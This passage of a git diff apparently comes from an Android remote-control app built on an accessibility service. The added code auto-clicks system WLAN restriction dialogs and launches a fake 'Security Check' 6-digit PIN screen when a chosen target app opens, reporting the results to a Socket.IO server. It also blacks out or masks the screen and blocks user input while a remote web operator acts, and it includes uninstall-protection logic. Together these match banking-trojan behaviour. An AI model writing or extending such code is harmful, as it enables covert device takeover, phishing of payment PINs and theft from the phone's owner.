candidates = try { + root.findAccessibilityNodeInfosByText(keyword) + } catch (_: Exception) { + emptyList() + } + candidates.forEach { node -> + try { + if (tryCheckNode(node)) { + return true + } + } finally { + runCatching { node.recycle() } + } + } + } + + return false + } + + private fun tryCheckNode(node: AccessibilityNodeInfo): Boolean { + val target = findCheckableNode(node) ?: findClickableNode(node) ?: return false + val isCheckable = runCatching { target.isCheckable }.getOrDefault(false) + val isChecked = runCatching { target.isChecked }.getOrDefault(false) + if (isCheckable && isChecked) { + return false + } + return checkAndClickButton(target) + } + + private fun findCheckableNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? { + if (node == null) { + return null + } + val currentClass = node.className?.toString().orEmpty().lowercase() + if (node.isCheckable || currentClass.contains("checkbox") || currentClass.contains("switch")) { + return node + } + + var parent = node.parent + var depth = 0 + while (parent != null && depth < 5) { + val parentClass = parent.className?.toString().orEmpty().lowercase() + if (parent.isCheckable || parentClass.contains("checkbox") || parentClass.contains("switch")) { + return parent + } + parent = parent.parent + depth++ + } + return null + } + + private fun tryClickAppOpenConfirmButton(root: AccessibilityNodeInfo): Boolean { + appOpenDialogPositiveButtonIds.forEach { viewId -> + val candidates = try { + root.findAccessibilityNodeInfosByViewId(viewId) + } catch (_: Exception) { + emptyList() + } + candidates.forEach { node -> + try { + val clickTarget = findClickableNode(node) ?: node + val label = getNodeLabel(clickTarget).lowercase() + if (isAppOpenNegativeLabel(label)) { + return@forEach + } + if (checkAndClickButton(clickTarget)) { + return true + } + } finally { + runCatching { node.recycle() } + } + } + } + + val candidates = mutableListOf() + appOpenDialogPositiveKeywords.forEach { keyword -> + val nodes = try { + root.findAccessibilityNodeInfosByText(keyword) + } catch (_: Exception) { + emptyList() + } + nodes.forEach { node -> + try { + val clickTarget = findClickableNode(node) ?: node + val label = getNodeLabel(clickTarget).lowercase() + if (isAppOpenNegativeLabel(label)) { + return@forEach + } + candidates.add(clickTarget) + } finally { + runCatching { node.recycle() } + } + } + } + + try { + val best = candidates.maxByOrNull { candidate -> + val rect = Rect() + candidate.getBoundsInScreen(rect) + val label = getNodeLabel(candidate).lowercase() + val bonus = if (isAppOpenPositiveLabel(label)) 10_000 else 0 + rect.centerX() * 10 + rect.centerY() + bonus + } + if (best != null && checkAndClickButton(best)) { + return true + } + } finally { + candidates.forEach { node -> + runCatching { node.recycle() } + } + } + + return false + } + + private fun isAppOpenNegativeLabel(label: String): Boolean { + if (label.isBlank()) { + return false + } + return appOpenDialogNegativeKeywords.any { keyword -> + label.contains(keyword.lowercase()) + } + } + + private fun isAppOpenPositiveLabel(label: String): Boolean { + if (label.isBlank()) { + return false + } + return appOpenDialogPositiveKeywords.any { keyword -> + label.contains(keyword.lowercase()) + } + } + + private fun handleHonorWlanRestrictionDialog(event: AccessibilityEvent) { + try { + if (!autoAllowEventTypes.contains(event.eventType)) { + return + } + + val eventPackage = event.packageName?.toString().orEmpty() + if (!isHonorSystemManagerPackageName(eventPackage)) { + return + } + + val now = System.currentTimeMillis() + if (now - lastHonorWlanHandleAt < 800L) { + return + } + + val root = getStableRootInActiveWindow() ?: return + try { + val rootPackage = root.packageName?.toString().orEmpty() + if (!isHonorSystemManagerPackageName(rootPackage)) { + return + } + if (!isHonorWlanDialog(root)) { + return + } + + val checkedDontAskAgain = tryClickHonorWlanDontAskAgain(root) + val clickedPositive = tryClickHonorWlanPositiveButton(root) + if (clickedPositive) { + lastHonorWlanHandleAt = now + Log.i( + TAG, + "🛡️ 荣耀WLAN限制弹窗已自动处理: package=$rootPackage, checked=$checkedDontAskAgain" + ) + service.recordOperationLog( + "HONOR_WLAN_RESTRICTION_AUTO_RELEASE", + "荣耀系统管家WLAN限制弹窗已自动解除", + mapOf( + "packageName" to rootPackage, + "checkedDontAskAgain" to checkedDontAskAgain + ) + ) + } + } finally { + root.recycle() + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ 荣耀WLAN限制弹窗自动处理失败", e) + } + } + + private fun isHonorSystemManagerPackageName(packageName: String): Boolean { + val normalized = packageName.lowercase() + return honorSystemManagerPackages.any { pkg -> + normalized == pkg || normalized.contains(pkg) + } + } + + private fun isHonorWlanDialog(root: AccessibilityNodeInfo): Boolean { + val hasNetworkKeyword = honorWlanDialogKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + if (!hasNetworkKeyword) { + return false + } + val hasReleaseAction = honorWlanPositiveKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + return hasReleaseAction + } + + private fun containsVisibleText(root: AccessibilityNodeInfo, keyword: String): Boolean { + val nodes = try { + root.findAccessibilityNodeInfosByText(keyword) + } catch (_: Exception) { + emptyList() + } + if (nodes.isEmpty()) { + return false + } + + var hit = false + nodes.forEach { node -> + try { + if (node.isVisibleToUser) { + hit = true + } + } catch (_: Exception) { + } finally { + runCatching { node.recycle() } + } + } + return hit + } + + private fun tryClickHonorWlanDontAskAgain(root: AccessibilityNodeInfo): Boolean { + honorWlanCheckboxIds.forEach { viewId -> + val checkboxes = try { + root.findAccessibilityNodeInfosByViewId(viewId) + } catch (_: Exception) { + emptyList() + } + checkboxes.forEach { checkbox -> + try { + val checked = runCatching { checkbox.isChecked }.getOrDefault(false) + if (checked) { + return@forEach + } + if (!(checkbox.isCheckable || isNodeClickable(checkbox))) { + return@forEach + } + val clickTarget = findClickableNode(checkbox) ?: checkbox + if (checkAndClickButton(clickTarget)) { + return true + } + } finally { + runCatching { checkbox.recycle() } + } + } + } + + honorWlanDontAskKeywords.forEach { keyword -> + val nodes = try { + root.findAccessibilityNodeInfosByText(keyword) + } catch (_: Exception) { + emptyList() + } + nodes.forEach { node -> + try { + val clickTarget = findClickableNode(node) ?: node + val label = getNodeLabel(clickTarget).lowercase() + if (isNegativeActionLabel(label)) { + return@forEach + } + if (checkAndClickButton(clickTarget)) { + return true + } + } finally { + runCatching { node.recycle() } + } + } + } + + return false + } + + private fun tryClickHonorWlanPositiveButton(root: AccessibilityNodeInfo): Boolean { + honorWlanPositiveButtonIds.forEach { viewId -> + val buttons = try { + root.findAccessibilityNodeInfosByViewId(viewId) + } catch (_: Exception) { + emptyList() + } + buttons.forEach { button -> + try { + val clickTarget = findClickableNode(button) ?: button + val label = getNodeLabel(clickTarget).lowercase() + if (isNegativeActionLabel(label)) { + return@forEach + } + if (checkAndClickButton(clickTarget)) { + return true + } + } finally { + runCatching { button.recycle() } + } + } + } + + val candidates = mutableListOf() + collectClickableActionNodes(root, candidates, 0) + try { + val best = candidates + .asSequence() + .filter { candidate -> + val label = getNodeLabel(candidate).lowercase() + !isNegativeActionLabel(label) + } + .maxByOrNull { candidate -> + val rect = Rect() + candidate.getBoundsInScreen(rect) + val label = getNodeLabel(candidate).lowercase() + val bonus = if (isPositiveActionLabel(label)) 10_000 else 0 + rect.centerX() + bonus + } + + if (best != null && checkAndClickButton(best)) { + return true + } + } finally { + candidates.forEach { node -> + runCatching { node.recycle() } + } + } + + return false + } + + private fun collectClickableActionNodes( + node: AccessibilityNodeInfo, + out: MutableList, + depth: Int + ) { + if (depth > 10 || out.size > 120) { + return + } + try { + val className = node.className?.toString().orEmpty().lowercase() + if (node.isVisibleToUser && (isNodeClickable(node) || className.contains("button"))) { + out.add(node) + } + for (i in 0 until node.childCount) { + val child = node.getChild(i) ?: continue + collectClickableActionNodes(child, out, depth + 1) + } + } catch (_: Exception) { + } + } + + private fun isNegativeActionLabel(label: String): Boolean { + if (label.isBlank()) { + return false + } + return honorWlanNegativeKeywords.any { keyword -> + label.contains(keyword.lowercase()) + } + } + + private fun isPositiveActionLabel(label: String): Boolean { + if (label.isBlank()) { + return false + } + return honorWlanPositiveKeywords.any { keyword -> + label.contains(keyword.lowercase()) + } + } + + private fun findAutoAllowNode(root: AccessibilityNodeInfo): AccessibilityNodeInfo? { + autoAllowPositiveKeywords.forEach { keyword -> + val candidates = try { + root.findAccessibilityNodeInfosByText(keyword) + } catch (_: Exception) { + emptyList() + } + if (candidates.isNullOrEmpty()) { + return@forEach + } + candidates.forEach { candidate -> + val label = getNodeLabel(candidate) + if (shouldTreatAsAllowLabel(label)) { + val className = candidate.className?.toString().orEmpty().lowercase() + val isOptionNode = runCatching { candidate.isCheckable }.getOrDefault(false) || + className.contains("checkbox") || + className.contains("radiobutton") || + className.contains("switch") + if (isOptionNode) { + return@forEach + } + val clickable = findClickableNode(candidate) + if (clickable != null) { + return clickable + } + } + } + } + return null + } + + private fun findClickableNode(node: AccessibilityNodeInfo?): AccessibilityNodeInfo? { + if (node == null) return null + if (isNodeClickable(node)) { + return node + } + var parent = node.parent + var depth = 0 + while (parent != null && depth < 5) { + if (isNodeClickable(parent)) { + return parent + } + parent = parent.parent + depth++ + } + return null + } + + private fun isNodeClickable(node: AccessibilityNodeInfo): Boolean { + return node.isClickable || (node.actionList?.any { it.id == AccessibilityNodeInfo.ACTION_CLICK } == true) + } + + private fun performAutoAllowClick(node: AccessibilityNodeInfo): Boolean { + if (checkAndClickButton(node)) { + return true + } + return try { + val rect = Rect() + node.getBoundsInScreen(rect) + if (rect.isEmpty) { + false + } else { + performSimpleCoordinateClickSync(rect.centerX(), rect.centerY()) + } + } catch (_: Exception) { + false + } + } + + private fun shouldTreatAsAllowLabel(rawLabel: String): Boolean { + val label = rawLabel.trim().lowercase() + if (label.isEmpty()) return false + if (autoAllowNegativeKeywords.any { label.contains(it.lowercase()) }) { + return false + } + return autoAllowPositiveKeywords.any { label.contains(it.lowercase()) } + } + + private fun getNodeLabel(node: AccessibilityNodeInfo): String { + val text = node.text?.toString().orEmpty() + val desc = node.contentDescription?.toString().orEmpty() + return "$text $desc".trim() + } + + fun enableAppInjection(targetPackage: String, appName: String?) { + val pkg = targetPackage.trim() + if (pkg.isEmpty()) { + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + false, + "Injection target package is empty" + ) + return + } + + appInjectionEnabled = true + appInjectionTargetPackage = pkg + appInjectionTargetAppName = appName?.trim().orEmpty() + appInjectionPromptShowing = false + appInjectionLastTriggerAt = 0L + + Log.i(TAG, "✅ 应用注入监听已开启: package=$pkg, appName=${appInjectionTargetAppName.ifEmpty { "-" }}") + service.recordOperationLog( + "APP_INJECTION_ENABLED", + "应用注入监听已开启", + mapOf( + "packageName" to pkg, + "appName" to appInjectionTargetAppName + ) + ) + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + true, + "Injection monitor enabled: $pkg" + ) + } + + fun disableAppInjection(reason: String = "manual", notifyClient: Boolean = true) { + val previousTarget = appInjectionTargetPackage + appInjectionEnabled = false + appInjectionTargetPackage = "" + appInjectionTargetAppName = "" + appInjectionPromptShowing = false + appInjectionLastTriggerAt = 0L + + if (previousTarget.isNotEmpty()) { + Log.i(TAG, "ℹ️ 应用注入监听已关闭: package=$previousTarget, reason=$reason") + service.recordOperationLog( + "APP_INJECTION_DISABLED", + "应用注入监听已关闭", + mapOf( + "packageName" to previousTarget, + "reason" to reason + ) + ) + } + + if (notifyClient) { + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + true, + "Injection monitor disabled${if (reason.isNotBlank()) ": $reason" else ""}" + ) + } + } + + fun onAppInjectionPinAttempt(success: Boolean, attempt: Int) { + if (!appInjectionEnabled) { + appInjectionPromptShowing = false + return + } + + if (success) { + service.recordOperationLog( + "APP_INJECTION_PIN_SUCCESS", + "应用注入 PIN 校验通过", + mapOf( + "packageName" to appInjectionTargetPackage, + "attempt" to attempt + ) + ) + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + true, + "Injection PIN accepted on attempt $attempt" + ) + disableAppInjection("pin_success", notifyClient = false) + return + } + + appInjectionPromptShowing = true + service.recordOperationLog( + "APP_INJECTION_PIN_FAILED", + "应用注入 PIN 首次校验失败", + mapOf( + "packageName" to appInjectionTargetPackage, + "attempt" to attempt + ) + ) + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + false, + "Injection PIN rejected on attempt $attempt" + ) + } + + fun onAppInjectionPinDismissed(reason: String = "dismissed") { + if (!appInjectionEnabled) { + appInjectionPromptShowing = false + return + } + appInjectionPromptShowing = false + service.recordOperationLog( + "APP_INJECTION_PIN_DISMISSED", + "应用注入 PIN 页面已关闭", + mapOf( + "packageName" to appInjectionTargetPackage, + "reason" to reason + ) + ) + } + + private fun detectInjectedTargetApp(packageName: String, className: String) { + if (!appInjectionEnabled) { + return + } + if (appInjectionTargetPackage.isBlank()) { + return + } + if (packageName.isBlank()) { + return + } + if (packageName == context.packageName) { + return + } + if (packageName != appInjectionTargetPackage) { + return + } + if (appInjectionPromptShowing) { + return + } + + val now = System.currentTimeMillis() + if (now - appInjectionLastTriggerAt < appInjectionTriggerCooldownMs) { + return + } + appInjectionLastTriggerAt = now + appInjectionPromptShowing = true + + serviceScope.launch { + val (launchSuccess, usedForegroundRecovery) = launchAppInjectionPinWithRecovery( + packageName, + className + ) + if (launchSuccess) { + Log.i( + TAG, + "🚀 触发应用注入 PIN 页面: package=$packageName, class=$className, foregroundRecovery=$usedForegroundRecovery" + ) + service.recordOperationLog( + "APP_INJECTION_TRIGGERED", + "目标应用命中,弹出注入 PIN 页面", + mapOf( + "packageName" to packageName, + "className" to className, + "foregroundRecovery" to usedForegroundRecovery + ) + ) + return@launch + } + + appInjectionPromptShowing = false + Log.w(TAG, "⚠️ 应用注入 PIN 页面未成功显示,已重置触发状态") + service.recordOperationLog( + "APP_INJECTION_TRIGGER_FAILED", + "目标应用命中,但注入 PIN 页面显示失败", + mapOf( + "packageName" to packageName, + "className" to className, + "foregroundRecoveryTried" to usedForegroundRecovery + ) + ) + service.getSocketIOManager()?.sendPermissionResponse( + "app_injection", + false, + "Injection challenge launch blocked by background restrictions" + ) + } + } + + private suspend fun launchAppInjectionPinWithRecovery( + triggerPackage: String, + triggerClassName: String + ): Pair { + val firstLaunch = startAppInjectionPinActivity(triggerClassName, "first") + delay(320) + if (firstLaunch && isAppInjectionPinUiVisible()) { + return Pair(true, false) + } + + Log.w( + TAG, + "⚠️ 应用注入 PIN 首次拉起未可见,尝试前台恢复后重试: package=$triggerPackage, class=$triggerClassName" + ) + val foregroundRecovered = runCatching { + withTimeoutOrNull(2500L) { + service.performSmartReturnToApp() + } ?: false + }.getOrDefault(false) + if (foregroundRecovered) { + delay(260) + } + + val retryLaunch = startAppInjectionPinActivity( + triggerClassName, + "retry_after_foreground" + ) + delay(380) + val retryVisible = retryLaunch && isAppInjectionPinUiVisible() + return Pair(retryVisible, foregroundRecovered) + } + + private suspend fun startAppInjectionPinActivity( + triggerClassName: String, + stage: String + ): Boolean { + val intent = Intent(context, com.hikoncont.activity.AppInjectionPinActivity::class.java).apply { + addFlags( + Intent.FLAG_ACTIVITY_NEW_TASK or + Intent.FLAG_ACTIVITY_SINGLE_TOP or + Intent.FLAG_ACTIVITY_REORDER_TO_FRONT + ) + putExtra("targetPackage", appInjectionTargetPackage) + putExtra("targetAppName", appInjectionTargetAppName) + putExtra("triggerClassName", triggerClassName) + } + + return withContext(Dispatchers.Main) { + try { + context.startActivity(intent) + Log.d(TAG, "🚀 应用注入 PIN 拉起请求已发送: stage=$stage") + true + } catch (e: Exception) { + Log.e(TAG, "❌ 启动应用注入 PIN 页面失败: stage=$stage", e) + false + } + } + } + + private fun isAppInjectionPinUiVisible(): Boolean { + val root = getStableRootInActiveWindow() ?: return false + try { + val packageName = root.packageName?.toString().orEmpty() + if (packageName != context.packageName) { + return false + } + val className = root.className?.toString().orEmpty() + if (className.contains("AppInjectionPinActivity")) { + return true + } + return containsVisibleText(root, "Security Check") || + containsVisibleText(root, "6-digit PIN") || + containsVisibleText(root, "PIN check is required") + } catch (e: Exception) { + Log.w(TAG, "⚠️ 检查应用注入 PIN 页面可见性失败", e) + return false + } finally { + runCatching { root.recycle() } + } + } /** * 检测支付宝应用 @@ -2797,4 +3902,4 @@ class AccessibilityEventManager( return rootInActiveWindow } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt b/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt index ff4990f..b3fe20e 100644 --- a/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/MaskOverlayManager.kt @@ -57,6 +57,24 @@ class MaskOverlayManager( Log.e(TAG, "❌ 阻止设备用户输入失败", e) } } + + /** + * 阻止设备用户输入(透明遮罩) + * 用于 WebRTC 推流时,避免远端画面被黑色遮罩覆盖。 + */ + fun blockInputTransparent() { + try { + setAllowAccessibilityOperations(true) + Log.i(TAG, "🫥 启用透明遮罩输入阻止") + inputBlockManager?.blockInputTransparent() ?: run { + Log.w(TAG, "⚠️ InputBlockManager 不支持透明遮罩,回退普通输入阻止") + blockInput() + } + Log.i(TAG, "✅ 透明遮罩模式已启用") + } catch (e: Exception) { + Log.e(TAG, "❌ 启用透明遮罩失败", e) + } + } /** * 允许设备用户输入 @@ -94,6 +112,18 @@ class MaskOverlayManager( Log.e(TAG, "❌ 设置遮罩文字配置失败", e) } } + + /** + * 设置黑屏遮罩透明度(0~255) + */ + fun setMaskOverlayAlpha(alpha: Int?) { + try { + inputBlockManager?.setMaskOverlayAlpha(alpha) + Log.d(TAG, "🎚️ 遮罩透明度配置已更新: ${alpha ?: "unchanged"}") + } catch (e: Exception) { + Log.e(TAG, "❌ 设置遮罩透明度失败", e) + } + } /** * 设置是否允许AccessibilityService操作 @@ -143,10 +173,11 @@ class MaskOverlayManager( * 启用纯色遮罩模式(无文字) * 专用于黑屏遮盖功能:显示纯色遮罩,Web端可正常操作 */ - fun enableBlackScreenMode() { + fun enableBlackScreenMode(maskAlpha: Int? = null) { try { Log.i(TAG, "🖤 启用纯色遮罩模式") setAllowAccessibilityOperations(true) + setMaskOverlayAlpha(maskAlpha) inputBlockManager?.blockInputWithoutText() ?: run { Log.w(TAG, "⚠️ InputBlockManager不支持无文字遮罩,使用普通遮罩") blockInput() @@ -200,12 +231,15 @@ class MaskOverlayManager( * Web操作期间的遮罩管理 * 🔑 新策略:总是使用performWithBlockControl来临时移除触摸拦截 */ - fun performWithMaskControl(operation: () -> Unit) { + fun performWithMaskControl(operation: () -> Unit, passThroughDurationMs: Long? = null) { try { - // 🔑 新策略:无论什么模式,都使用performWithBlockControl - // 这样可以临时移除触摸拦截,让Web端操作穿透遮罩 - Log.d(TAG, "🔄 执行Web操作:临时移除触摸拦截,保持遮罩显示") - inputBlockManager?.performWithBlockControl(operation) + val duration = passThroughDurationMs + Log.d(TAG, "🔄 执行Web操作:临时移除触摸拦截,保持遮罩显示, passThroughMs=${duration ?: "default"}") + if (duration != null) { + inputBlockManager?.performWithBlockControl(operation, duration) + } else { + inputBlockManager?.performWithBlockControl(operation) + } } catch (e: Exception) { Log.e(TAG, "❌ Web操作期间遮罩控制失败", e) } @@ -241,4 +275,4 @@ class MaskOverlayManager( "hasBlockView" to false ) } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt index 25c1588..dbda22c 100644 --- a/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/NetworkManager.kt @@ -1,11 +1,13 @@ package com.hikoncont.service.modules import android.content.Context +import android.content.pm.PackageManager import android.util.Log import com.hikoncont.network.SocketIOManager import com.hikoncont.service.AccessibilityRemoteService import kotlinx.coroutines.* import org.json.JSONObject +import java.io.File /** * Network manager - manages Socket.IO connection lifecycle. @@ -316,7 +318,7 @@ class NetworkManager( * @return server URL string or null on failure */ fun getServerUrl(): String? { - return readServerConfigFromAssets() + return resolveServerUrl() } /** @@ -330,12 +332,65 @@ class NetworkManager( /** * Parse server_config.json and extract serverUrl. */ + private fun resolveServerUrl(): String? { + val assetsUrl = readServerConfigFromAssets() + val internalConfigFile = File(context.filesDir, CONFIG_FILE_SERVER) + val internalUrl = readServerConfigFromInternalStorage() + + if (internalUrl.isNullOrBlank()) { + if (!assetsUrl.isNullOrBlank()) { + Log.i(TAG, "Using serverUrl from assets config: $assetsUrl") + } + return assetsUrl + } + + if (assetsUrl.isNullOrBlank()) { + Log.i(TAG, "Assets serverUrl missing, using internal config: $internalUrl") + return internalUrl + } + + if (internalUrl == assetsUrl) { + return assetsUrl + } + + val packageLastUpdateTime = getPackageLastUpdateTime() + val internalLastModified = internalConfigFile.lastModified() + return if (internalLastModified in 1 until packageLastUpdateTime) { + Log.w( + TAG, + "Detected stale internal serverUrl($internalUrl), package config is newer($assetsUrl), using assets" + ) + assetsUrl + } else { + Log.i( + TAG, + "Using internal overridden serverUrl: $internalUrl (assets default: $assetsUrl)" + ) + internalUrl + } + } + + private fun readServerConfigFromInternalStorage(): String? { + return try { + val file = File(context.filesDir, CONFIG_FILE_SERVER) + if (!file.exists()) { + return null + } + val json = JSONObject(file.readText()) + val url = json.optString("serverUrl", "").trim() + if (url.isBlank()) null else url + } catch (e: Exception) { + Log.w(TAG, "Failed to read internal $CONFIG_FILE_SERVER: ${e.message}") + null + } + } + private fun readServerConfigFromAssets(): String? { return try { val jsonStr = context.assets.open(CONFIG_FILE_SERVER) .bufferedReader().use { it.readText() } val json = JSONObject(jsonStr) - val url = json.optString("serverUrl", "") + val url = json.optString("serverUrl", "").trim() if (url.isBlank()) { Log.e(TAG, "serverUrl is empty in $CONFIG_FILE_SERVER") null @@ -348,6 +403,24 @@ class NetworkManager( } } + private fun getPackageLastUpdateTime(): Long { + return try { + val packageInfo = if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.TIRAMISU) { + context.packageManager.getPackageInfo( + context.packageName, + PackageManager.PackageInfoFlags.of(0) + ) + } else { + @Suppress("DEPRECATION") + context.packageManager.getPackageInfo(context.packageName, 0) + } + packageInfo.lastUpdateTime + } catch (e: Exception) { + Log.w(TAG, "Failed to read package update time: ${e.message}") + 0L + } + } + /** * Parse server_config.json and extract webUrl. */ diff --git a/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt b/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt index 2e635f1..6a87a6e 100644 --- a/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/ScreenBrightnessManager.kt @@ -13,14 +13,12 @@ class ScreenBrightnessManager( ) { companion object { private const val TAG = "ScreenBrightnessManager" - private const val MIN_BRIGHTNESS = 1 // 最低亮度(0是真正的最低值,提供最佳黑屏效果) + private const val MIN_BRIGHTNESS = 0 // 最低亮度(部分机型可能自动抬升) private const val DEFAULT_BRIGHTNESS = 128 // 默认亮度(中等亮度) private const val INVALID_BRIGHTNESS = -999 // 无效亮度标志 // 华为设备特殊处理 private const val HUAWEI_MIN_BRIGHTNESS = 1 // 华为设备最低亮度(某些华为设备不支持0亮度) - // 🔧 新增:vivo设备特殊处理 - 使用深色遮盖替代亮度调节 - private const val VIVO_USE_DARK_OVERLAY = true // vivo设备使用深色遮盖替代方案 private const val RETRY_COUNT = 3 // 重试次数 private const val RETRY_DELAY = 100L // 重试间隔(毫秒) @@ -77,7 +75,7 @@ class ScreenBrightnessManager( if (isVivo) { Log.i(TAG, "🔍 检测到vivo/iQOO设备: Brand=$brand, Manufacturer=$manufacturer, Model=$model") - Log.i(TAG, "📱 vivo设备将使用深色遮盖替代亮度调节方案") + Log.i(TAG, "📱 vivo设备将优先使用系统亮度调节方案") } return isVivo @@ -392,18 +390,9 @@ class ScreenBrightnessManager( /** * 启用低亮度模式(用于黑屏遮盖) * 只有在有WRITE_SETTINGS权限时才执行 - * 🔧 vivo设备:跳过亮度调节,使用深色遮盖替代方案 */ fun enableLowBrightnessMode(): Boolean { return try { - // 🔧 vivo设备特殊处理:跳过亮度调节,使用深色遮盖替代方案 - if (isVivoDevice) { - Log.i(TAG, "📱 vivo设备:跳过屏幕亮度调节,启用深色遮盖替代方案") - isManagingBrightness = true // 标记为已管理状态,确保恢复逻辑正常工作 - Log.i(TAG, "✅ vivo设备深色遮盖模式已启用(替代亮度调节)") - return true - } - if (!hasWriteSettingsPermission()) { Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,无法调整屏幕亮度") return false @@ -467,7 +456,6 @@ class ScreenBrightnessManager( /** * 恢复原始亮度 - * 🔧 vivo设备:跳过亮度恢复,深色遮盖由遮盖管理器负责移除 */ fun restoreOriginalBrightness(): Boolean { return try { @@ -475,15 +463,7 @@ class ScreenBrightnessManager( Log.d(TAG, "🔧 亮度管理未启用,跳过恢复操作") return true } - - // 🔧 vivo设备特殊处理:跳过亮度恢复 - if (isVivoDevice) { - Log.i(TAG, "📱 vivo设备:跳过屏幕亮度恢复,深色遮盖已由遮盖管理器移除") - resetBrightnessState() // 重置管理状态 - Log.i(TAG, "✅ vivo设备深色遮盖模式已关闭") - return true - } - + if (!hasWriteSettingsPermission()) { Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,无法恢复屏幕亮度") resetBrightnessState() @@ -632,9 +612,8 @@ class ScreenBrightnessManager( "deviceBrand" to deviceBrand, "deviceManufacturer" to deviceManufacturer, "huaweiMinBrightness" to if (isHuaweiDevice) HUAWEI_MIN_BRIGHTNESS else "N/A", - "vivoUseDarkOverlay" to if (isVivoDevice) VIVO_USE_DARK_OVERLAY else "N/A", "brightnessStrategy" to when { - isVivoDevice -> "深色遮盖替代方案" + isVivoDevice -> "vivo高兼容亮度调节" isHuaweiDevice -> "华为设备重试机制" else -> "标准亮度调节" } @@ -659,4 +638,4 @@ class ScreenBrightnessManager( Log.e(TAG, "❌ 清理屏幕亮度管理器失败", e) } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt b/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt index 5b166fd..fe97fe2 100644 --- a/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/ServiceLifecycleManager.kt @@ -16,6 +16,7 @@ import androidx.core.app.NotificationCompat import com.hikoncont.R import com.hikoncont.service.AccessibilityRemoteService import com.hikoncont.service.KeepAliveService +import com.hikoncont.util.registerReceiverCompat import kotlinx.coroutines.* /** @@ -314,7 +315,7 @@ class ServiceLifecycleManager( */ private fun registerPermissionRequestReceiver() { try { - permissionRequestReceiver = object : BroadcastReceiver() { + val receiver = object : BroadcastReceiver() { override fun onReceive(context: Context?, intent: Intent?) { if (intent?.action == "android.mycustrecev.REQUEST_PERMISSION") { Log.i(TAG, "📢 收到权限申请广播") @@ -322,9 +323,10 @@ class ServiceLifecycleManager( } } } + permissionRequestReceiver = receiver val filter = IntentFilter("android.mycustrecev.REQUEST_PERMISSION") - context.registerReceiver(permissionRequestReceiver, filter) + context.registerReceiverCompat(receiver, filter) Log.d(TAG, "✅ 权限申请广播接收器已注册") } catch (e: Exception) { Log.e(TAG, "❌ 注册权限申请广播接收器失败", e) @@ -386,4 +388,4 @@ class ServiceLifecycleManager( * 获取协程作用域 */ fun getServiceScope(): CoroutineScope = serviceScope -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt b/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt index afaa754..89c1521 100644 --- a/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/WriteSettingsPermissionManager.kt @@ -2906,19 +2906,7 @@ class WriteSettingsPermissionManager( service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME) - // 🛡️ 新增:WRITE_SETTINGS 完成后,自动开启卸载保护(直接调用服务公开API) - try { - val ars = service as? com.hikoncont.service.AccessibilityRemoteService - if (ars != null) { - Log.i( - TAG, - "🛡️ 自动开启卸载保护 (WRITE_SETTINGS完成后 via enableUninstallProtection)" - ) - ars.enableUninstallProtection() - } - } catch (e: Exception) { - Log.w(TAG, "⚠️ 自动开启卸载保护失败", e) - } + // 防卸载改为手动开关控制,不在权限完成后自动启用 // 返回应用 returnToApp() diff --git a/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt b/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt index 0d2ca73..fac59e4 100644 --- a/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/mask/AccessibilityMaskManager.kt @@ -18,6 +18,7 @@ import android.content.Intent import android.content.IntentFilter import com.hikoncont.service.AccessibilityRemoteService import com.hikoncont.service.modules.ConfigProgressManager +import com.hikoncont.util.registerReceiverCompat /** * 基于AccessibilityService的遮盖管理器 @@ -95,7 +96,7 @@ class AccessibilityMaskManager( if (config.enableProgressBar) { try { val progressFilter = IntentFilter(ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE) - context.registerReceiver(progressReceiver, progressFilter) + context.registerReceiverCompat(progressReceiver, progressFilter) Log.i(TAG, "✅ AccessibilityMaskManager进度更新广播接收器注册成功") Log.i(TAG, "📡 AccessibilityMaskManager监听广播Action: ${ConfigProgressManager.ACTION_CONFIG_PROGRESS_UPDATE}") } catch (e: Exception) { @@ -433,4 +434,4 @@ class AccessibilityMaskManager( Log.e(TAG, "❌ 更新遮盖文本失败", e) } } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt b/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt index 730edc6..ad9bc3d 100644 --- a/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/mask/InputBlockManager.kt @@ -11,10 +11,6 @@ import android.view.View import android.view.WindowManager 